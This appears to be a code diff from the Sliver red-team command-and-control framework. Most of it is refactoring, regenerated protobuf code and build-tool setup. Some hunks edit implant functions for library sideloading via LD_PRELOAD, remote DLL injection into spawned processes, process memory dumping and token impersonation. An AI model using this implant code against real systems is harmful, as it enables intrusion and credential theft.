@@ -0,0 +1,8 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package screen
|
||||
|
||||
// Screenshot - Retrieve the screenshot of the active displays
|
||||
func Screenshot() []byte {
|
||||
return []byte{}
|
||||
}
|
||||
@@ -3,6 +3,8 @@
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
void StartW();
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
StartW();
|
||||
|
||||
@@ -598,6 +598,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
rportfwdHandlers := handlers.GetRportFwdHandlers()
|
||||
|
||||
for envelope := range connection.Recv {
|
||||
envelope := envelope
|
||||
if _, ok := specialHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] specialHandler %d", envelope.Type)
|
||||
|
||||
@@ -20,7 +20,7 @@ package syscalls
|
||||
//sys CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32)(threadHandle windows.Handle, err error) = kernel32.CreateThread
|
||||
//sys GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) = kernel32.GetExitCodeThread
|
||||
|
||||
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgHelp.MiniDumpWriteDump
|
||||
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgCore.MiniDumpWriteDump
|
||||
//sys ImpersonateLoggedOnUser(hToken windows.Token) (err error) = advapi32.ImpersonateLoggedOnUser
|
||||
//sys LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) = advapi32.LogonUserW
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -58,7 +59,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
@@ -72,7 +73,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
@@ -55,7 +56,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
@@ -91,7 +92,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
//{{end}}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -31,8 +31,10 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
|
||||
// {{if .Config.Evasion}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -343,7 +345,7 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
|
||||
return stdoutBuf.String() + stderrBuf.String(), nil
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args []string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
@@ -382,11 +384,12 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
|
||||
argAddr := uintptr(0)
|
||||
if len(args) > 0 {
|
||||
argsStr := strings.Join(args, " ")
|
||||
if len(argsStr) > 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Args: %s\n", args)
|
||||
log.Printf("Args: %s\n", argsStr)
|
||||
//{{end}}
|
||||
argsArray := []byte(args)
|
||||
argsArray := []byte(argsStr)
|
||||
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -419,8 +422,8 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
}
|
||||
|
||||
// SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, []string{""}, kill)
|
||||
}
|
||||
|
||||
// Util functions
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -5752,7 +5752,8 @@ func (x *MsfStager) GetFile() *commonpb.File {
|
||||
}
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
//
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
type GetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -5825,7 +5826,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// MigrateReq - Client request to the server which is translated into
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
//
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
type MigrateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
+693
-686
File diff suppressed because it is too large.
Load diff
@@ -177,6 +177,7 @@ service SliverRPC {
|
||||
rpc MemfilesList(sliverpb.MemfilesListReq) returns (sliverpb.Ls);
|
||||
rpc MemfilesAdd(sliverpb.MemfilesAddReq) returns (sliverpb.MemfilesAdd);
|
||||
rpc MemfilesRm(sliverpb.MemfilesRmReq) returns (sliverpb.MemfilesRm);
|
||||
rpc Mount(sliverpb.MountReq) returns (sliverpb.Mount);
|
||||
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
|
||||
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
|
||||
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
|
||||
|
||||
+576
-356
File diff suppressed because it is too large.
Load diff
@@ -349,6 +349,9 @@ const (
|
||||
MsgStartServiceByNameReq
|
||||
|
||||
MsgRegistryReadHiveReq
|
||||
|
||||
// MsgMountReq - Request filesystem mounts
|
||||
MsgMountReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -595,8 +598,12 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *GrepReq:
|
||||
return MsgGrepReq
|
||||
|
||||
case *MountReq:
|
||||
return MsgMountReq
|
||||
|
||||
case *MemfilesListReq:
|
||||
return MsgMemfilesListReq
|
||||
|
||||
case *MemfilesAddReq:
|
||||
return MsgMemfilesAddReq
|
||||
case *MemfilesAdd:
|
||||
|
||||
+1665
-1582
File diff suppressed because it is too large.
Load diff
@@ -327,6 +327,28 @@ message Grep {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MountReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message MountInfo {
|
||||
string VolumeName = 1;
|
||||
string VolumeType = 2;
|
||||
string MountPoint = 3;
|
||||
string Label = 4;
|
||||
string FileSystem = 5;
|
||||
uint64 UsedSpace = 6;
|
||||
uint64 FreeSpace = 7;
|
||||
uint64 TotalSpace = 8;
|
||||
string MountOptions = 9;
|
||||
}
|
||||
|
||||
message Mount {
|
||||
repeated MountInfo Info = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ProcessDumpReq {
|
||||
int32 Pid = 1;
|
||||
int32 Timeout = 2;
|
||||
@@ -340,6 +362,7 @@ message ProcessDump {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
message RunAsReq {
|
||||
string Username = 1;
|
||||
string ProcessName = 2;
|
||||
@@ -428,7 +451,7 @@ message Task {
|
||||
|
||||
message ExecuteAssemblyReq {
|
||||
bytes Assembly = 1;
|
||||
string Arguments = 2;
|
||||
repeated string Arguments = 2;
|
||||
string Process = 3;
|
||||
bool IsDLL = 4;
|
||||
string Arch = 5;
|
||||
@@ -520,7 +543,7 @@ message Execute {
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
bool isDLL = 6;
|
||||
@@ -540,7 +563,7 @@ message Sideload {
|
||||
message InvokeSpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
@@ -553,7 +576,7 @@ message SpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
uint32 Offset = 3;
|
||||
string Args = 4;
|
||||
repeated string Args = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
repeated string ProcessArgs = 11;
|
||||
@@ -624,20 +647,6 @@ message UnsetEnv {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// DNS Specific messages
|
||||
message DNSSessionInit {
|
||||
bytes Key = 1;
|
||||
}
|
||||
|
||||
message DNSPoll {
|
||||
repeated DNSBlockHeader blocks = 1;
|
||||
}
|
||||
|
||||
message DNSBlockHeader {
|
||||
string ID = 1;
|
||||
uint32 Size = 2;
|
||||
}
|
||||
|
||||
// HTTP Sepecific message
|
||||
message HTTPSessionInit {
|
||||
bytes Key = 1;
|
||||
|
||||
+178
-10
@@ -19,8 +19,10 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
@@ -39,6 +41,11 @@ import (
|
||||
|
||||
protobufs "github.com/bishopfox/sliver/protobuf"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/ulikunitz/xz"
|
||||
)
|
||||
|
||||
const (
|
||||
zigDirName = "zig"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -122,6 +129,63 @@ func pseudoRandStringRunes(n int) string {
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func setupZig(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
zigRootPath := filepath.Join(appDir, zigDirName)
|
||||
setupLog.Infof("zig path = %s", zigRootPath)
|
||||
if _, err := os.Stat(zigRootPath); !os.IsNotExist(err) {
|
||||
setupLog.Info("Removing old zig root directory")
|
||||
os.Chmod(zigRootPath, 0700)
|
||||
err = util.ChmodR(zigRootPath, 0600, 0700) // Make sure everything is writable before we try to rm
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to modify file system permissions of old zig root directory %s", err)
|
||||
}
|
||||
err = os.RemoveAll(zigRootPath)
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to cleanup old zig root directory %s", err)
|
||||
}
|
||||
}
|
||||
os.MkdirAll(zigRootPath, 0700)
|
||||
|
||||
// extract xz archive
|
||||
if runtime.GOOS != "windows" {
|
||||
// Everything except windows
|
||||
zigXzFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.tar.xz")
|
||||
zigXzBuf, err := assetsFs.ReadFile(zigXzFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigXzFSPath)
|
||||
return err
|
||||
}
|
||||
xzReader, err := xz.NewReader(bytes.NewReader(zigXzBuf))
|
||||
if err != nil {
|
||||
setupLog.Errorf("NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
// Extract tar archive
|
||||
setupLog.Infof("Unpacking zig.tar.xz to %s", zigRootPath)
|
||||
return untarSkipTopLevel(zigRootPath, xzReader)
|
||||
} else {
|
||||
// Windows only, since it's an awful operating system
|
||||
zigZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.zip")
|
||||
zigZipBuf, err := assetsFs.ReadFile(zigZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigZipFSPath)
|
||||
return err
|
||||
}
|
||||
reader, err := zip.NewReader(bytes.NewReader(zigZipBuf), int64(len(zigZipBuf)))
|
||||
if err != nil {
|
||||
setupLog.Errorf("zip.NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
err = unzipSkipTopLevel(zigRootPath, reader)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s", zigZipFSPath, zigRootPath)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// SetupGo - Unzip Go compiler assets
|
||||
func setupGo(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
@@ -205,7 +269,7 @@ func setupSGN(appDir string) error {
|
||||
}
|
||||
|
||||
// SetupGoPath - Extracts dependencies to goPathSrc
|
||||
func SetupGoPath(goPathSrc string) error {
|
||||
func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
|
||||
// GOPATH setup
|
||||
if _, err := os.Stat(goPathSrc); os.IsNotExist(err) {
|
||||
@@ -243,15 +307,17 @@ func SetupGoPath(goPathSrc string) error {
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
|
||||
// DNS PB
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
if includeDNS {
|
||||
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
|
||||
if err != nil {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -277,6 +343,108 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
// UntarSkipTopLevel - Untar a tar file, skipping the top level directory
|
||||
func untarSkipTopLevel(dst string, r io.Reader) error {
|
||||
tr := tar.NewReader(r)
|
||||
topLevel, _ := tr.Next()
|
||||
if topLevel == nil {
|
||||
return fmt.Errorf("no files found in tar")
|
||||
}
|
||||
if topLevel.Typeflag != tar.TypeDir {
|
||||
return fmt.Errorf("expected top level to be a directory, got %v", topLevel.Typeflag)
|
||||
}
|
||||
for {
|
||||
header, err := tr.Next()
|
||||
|
||||
switch {
|
||||
|
||||
// if no more files are found return
|
||||
case err == io.EOF:
|
||||
return nil
|
||||
|
||||
// return any other error
|
||||
case err != nil:
|
||||
return err
|
||||
|
||||
// if the header is nil, just skip it (not sure how this happens)
|
||||
case header == nil:
|
||||
continue
|
||||
}
|
||||
|
||||
// the target location where the dir/file should be created
|
||||
target := filepath.Join(dst, strings.TrimPrefix(header.Name, topLevel.Name))
|
||||
|
||||
// the following switch could also be done using fi.Mode(), not sure if there
|
||||
// a benefit of using one vs. the other.
|
||||
// fi := header.FileInfo()
|
||||
|
||||
// check the file type
|
||||
switch header.Typeflag {
|
||||
|
||||
// if its a dir and it doesn't exist create it
|
||||
case tar.TypeDir:
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
if err := os.MkdirAll(target, 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// if it's a file create it
|
||||
case tar.TypeReg:
|
||||
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// copy over contents
|
||||
if _, err := io.Copy(f, tr); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// manually close here after each file operation; defering would cause each file close
|
||||
// to wait until all operations have completed.
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// UnzipSkipTopLevel - Unzip a zip file, skipping the top level directory
|
||||
func unzipSkipTopLevel(dst string, z *zip.Reader) error {
|
||||
topLevel := ""
|
||||
for index, file := range z.File {
|
||||
if index == 0 {
|
||||
topLevel = file.Name
|
||||
continue
|
||||
}
|
||||
rc, err := file.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
fPath := filepath.Join(dst, strings.TrimPrefix(file.Name, topLevel))
|
||||
if file.FileInfo().IsDir() {
|
||||
err = os.MkdirAll(fPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(outFile, rc)
|
||||
outFile.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func xorPBRawBytes(src []byte) []byte {
|
||||
var (
|
||||
fileAst *ast.File
|
||||
@@ -293,7 +461,7 @@ func xorPBRawBytes(src []byte) []byte {
|
||||
}
|
||||
var xorKey [8]byte
|
||||
// generate random xor key
|
||||
if _, err := insecureRand.Read(xorKey[:]); err != nil {
|
||||
if _, err := rand.Read(xorKey[:]); err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
|
||||
@@ -67,6 +67,16 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetZigDir
|
||||
func GetZigDir() string {
|
||||
zigDir, err := filepath.Abs(filepath.Join(GetRootAppDir(), zigDirName))
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to get Zig directory: %s", err)
|
||||
return filepath.Join(GetRootAppDir(), zigDirName)
|
||||
}
|
||||
return zigDir
|
||||
}
|
||||
|
||||
// GetChunkDataDir - Get the Sliver chunk data dir, default is: ~/.sliver/crack/chunks/
|
||||
func GetChunkDataDir() string {
|
||||
chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks")
|
||||
@@ -121,6 +131,10 @@ under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
setupGo(appDir)
|
||||
err := setupZig(appDir)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Failed to setup Zig: %s", err)
|
||||
}
|
||||
setupCodenames(appDir)
|
||||
saveAssetVersion(appDir)
|
||||
unpackDefaultTrafficEncoders(force)
|
||||
|
||||
@@ -72,11 +72,8 @@ func (b *Builder) Start() {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
for event := range events {
|
||||
go b.handleBuildEvent(event)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,7 +209,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
|
||||
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
|
||||
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
|
||||
EventType: consts.ExternalBuildFailedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
|
||||
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package configs
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -82,34 +81,6 @@ func coerceFileExt(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
@@ -165,7 +136,7 @@ func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
Do not allow backticks in user agents because that breaks compilation of the
|
||||
implant.
|
||||
*/
|
||||
if strings.Index(config.UserAgent, "`") != -1 {
|
||||
if strings.Contains(config.UserAgent, "`") {
|
||||
// Blank out the user agent so that a default one will be filled in later
|
||||
config.UserAgent = ""
|
||||
return ErrUserAgentIllegalCharacters
|
||||
|
||||
@@ -19,12 +19,9 @@ package configs
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -134,6 +131,10 @@ type ServerConfig struct {
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
CXX map[string]string `json:"cxx"`
|
||||
}
|
||||
|
||||
// Save - Save config file to disk
|
||||
@@ -205,12 +206,7 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
}
|
||||
|
||||
func getRandomID() string {
|
||||
seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
|
||||
buf := make([]byte, 32)
|
||||
seededRand.Read(buf)
|
||||
return hex.EncodeToString(buf)
|
||||
}
|
||||
+91
-143
@@ -25,7 +25,6 @@ import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
insecureRand "math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -52,37 +51,13 @@ import (
|
||||
var (
|
||||
buildLog = log.NamedLogger("generate", "build")
|
||||
|
||||
// RUNTIME GOOS -> TARGET GOOS -> TARGET ARCH
|
||||
defaultCCPaths = map[string]map[string]map[string]string{
|
||||
"linux": {
|
||||
"windows": {
|
||||
"386": "/usr/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/usr/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"darwin": {
|
||||
// OSX Cross - https://github.com/tpoechtrager/osxcross
|
||||
"amd64": "/opt/osxcross/target/bin/o64-clang",
|
||||
"arm64": "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang",
|
||||
},
|
||||
},
|
||||
"darwin": {
|
||||
"windows": {
|
||||
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"linux": {
|
||||
// brew install FiloSottile/musl-cross/musl-cross
|
||||
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
"darwin/amd64": true,
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -139,40 +114,6 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func copyC2List(src []*clientpb.ImplantC2) []models.ImplantC2 {
|
||||
c2s := []models.ImplantC2{}
|
||||
for _, srcC2 := range src {
|
||||
c2URL, err := url.Parse(srcC2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
c2s = append(c2s, models.ImplantC2{
|
||||
Priority: srcC2.Priority,
|
||||
URL: c2URL.String(),
|
||||
Options: srcC2.Options,
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func isC2Enabled(schemes []string, c2s []models.ImplantC2) bool {
|
||||
for _, c2 := range c2s {
|
